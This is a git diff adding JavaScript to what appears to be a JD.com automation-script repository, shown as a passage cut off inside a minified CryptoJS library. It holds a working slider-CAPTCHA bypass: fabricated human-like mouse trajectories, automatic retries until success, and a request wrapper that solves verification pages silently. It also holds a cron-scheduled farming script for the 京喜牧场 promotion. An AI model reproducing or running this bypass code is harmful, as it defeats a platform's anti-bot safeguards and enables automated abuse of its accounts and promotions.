+ const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}); + + if (result.message === 'success') { + console.log(result); + console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + // console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + try { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + res.resume(); + resolve(ctx.data); + } catch (e) { + console.log('生成验证码必须使用大陆IP') + } + }) + } catch (e) { + } + }) + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 25; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn) { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error('Failed to request.'); + return; + } + + if (data.search('验证') > -1) { + console.log('JDJRValidator trying......'); + const res = await new JDJRValidator().run(); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +module.exports = { + injectToRequest +} \ No newline at end of file diff --git a/utils/jd_jxmc.js b/utils/jd_jxmc.js new file mode 100644 index 0000000000..c63c2b89ba --- /dev/null +++ b/utils/jd_jxmc.js @@ -0,0 +1,77 @@ +/* +京喜牧场 +更新时间:2021-8-20 +活动入口:京喜APP-我的-京喜牧场 +温馨提示:请先手动完成【新手指导任务】再运行脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜牧场 +20 0-23/3 * * * jd_jxmc.js, tag=京喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_jxmc.js,tag=京喜牧场 + +===============Surge================= +京喜牧场 = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_jxmc.js + +============小火箭========= +京喜牧场 = type=cron,script-path=jd_jxmc.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ 